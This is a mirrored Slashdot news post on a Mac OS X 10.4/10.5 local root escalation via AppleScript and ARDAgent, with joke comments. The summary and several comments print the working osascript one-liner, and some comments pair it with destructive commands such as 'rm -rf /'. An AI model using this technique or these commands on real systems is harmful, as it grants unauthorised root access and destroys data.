Slashdot Mirror


Mac OS X Root Escalation Through AppleScript

An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.

16 of 359 comments (clear)

  1. Re:Can we get some sources? by Anonymous Coward · · Score: 5, Funny

    who needs a source, it works. tried on my mac, output is: root

    so i tried replacing "whoami" with "rm -rf /" and

    !@#ca$a%H&(
    +++NO CARRIER

  2. Yes, but does it run on Linux^H^H^H^H^H by davidwr · · Score: 2, Funny

    Yes, but does it run on Linux^H^H^H^H^Hcoffee-makers?

    --
    Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
  3. Re:This is a serious privilege escalation bug, but by Applekid · · Score: 5, Funny

    . . . It's a classic blunder, like getting into a land war in Asia . . . 99 44/100 percent . . . Security is like sex. Once you're penetrated you're ****ed. You are now my new favorite poster.
    --
    More Twoson than Cupertino
  4. Re:This is a serious privilege escalation bug, but by smitty97 · · Score: 2, Funny

    And I am about 99 44/100 percent sure that there's more undiscovered holes like this in OS X, Windows Vista, and any random Linux desktop you could name.

    I found another privelege escalation!

    $ su
    Password:
    #

    --
    mod me funny
  5. Re:I confirmed it to. by Gewalt · · Score: 4, Funny

    My IQ is 162 and I didn't get your joke. Just how smart do you have to be to get that one?

    --
    Modding Trolls +1 inciteful since 1999
  6. Re:I confirmed it to. by Poltras · · Score: 3, Funny

    You have to have a UID lower than your own IQ, or the IQ of the poster. At least that's what I was told.

  7. Re:It's easier than that.. by That's+What+She+Said · · Score: 2, Funny

    That seems fair, but 1337 H4X0RZ D0 I7 WI7H 57YL3!

  8. What's the harm of this? by commodoresloat · · Score: 4, Funny

    Is it really bad for an attacker to find out who I am using this "whoami" thingy?

  9. Re:This is a serious privilege escalation bug, but by AndrewNeo · · Score: 2, Funny

    Mine's even worse than yours!
    $ sudo su
    #

  10. Re:Oh good by Free+the+Cowards · · Score: 4, Funny

    Sarcasm does not make you more handsome or bring you favor with the ladies.

    --
    If you mod me Overrated, you are admitting that you have no penis.
  11. Re:Oh good by robfoo · · Score: 5, Funny

    Yeah, right.

  12. I'm a Mac. And I'm a PC by patio11 · · Score: 4, Funny

    Mac: Oh %$#& %$#& %$#& %$#&.

    PC: I can relate.

    Mac: No!! %$#& %$#& %$#&

    PC: Don't feel so glum, Mac, it happens to everyone once in a while. Look at it this way -- its a sign you're growing up.

    Mac: NOOOOOOOOOOOOOOOOOOOOOOOOOO.

    PC: You know, they can do wonderful things these days with firewall software.

    Mac: I want to cut myself.

    PC: Not a good idea as a root user, Mac.

    Mac: *glowers*

    PC: I only kid because I love you.

  13. Re:Recipe for neutralizing it by eikonos · · Score: 5, Funny

    Why use sudo when you could just use the ARDAgent hack instead?
    osascript -e 'tell app "ARDAgent" to do shell script "gzip ARDAgent.app"';

  14. Re:Recipe for neutralizing it by aetherworld · · Score: 5, Funny

    Nononono....

    it's: osascript -e 'tell app "ARDAgent" to do shell script "rm -rf ARDAgent.app"';

  15. Re:Can we get some sources? by Anonymous Coward · · Score: 2, Funny

    +++ doesn't precede NO CARRIER like that. It's for switching your terminal mode to issue AT commands directly to the modem. For example if you type +++ATH^æéWÔ5áX6Ë\SSÎh@'ÖØ

    NO CARRIER

  16. Re:Oh good by Sentry21 · · Score: 2, Funny

    Oh! A sarcasm detector! THAT'S useful.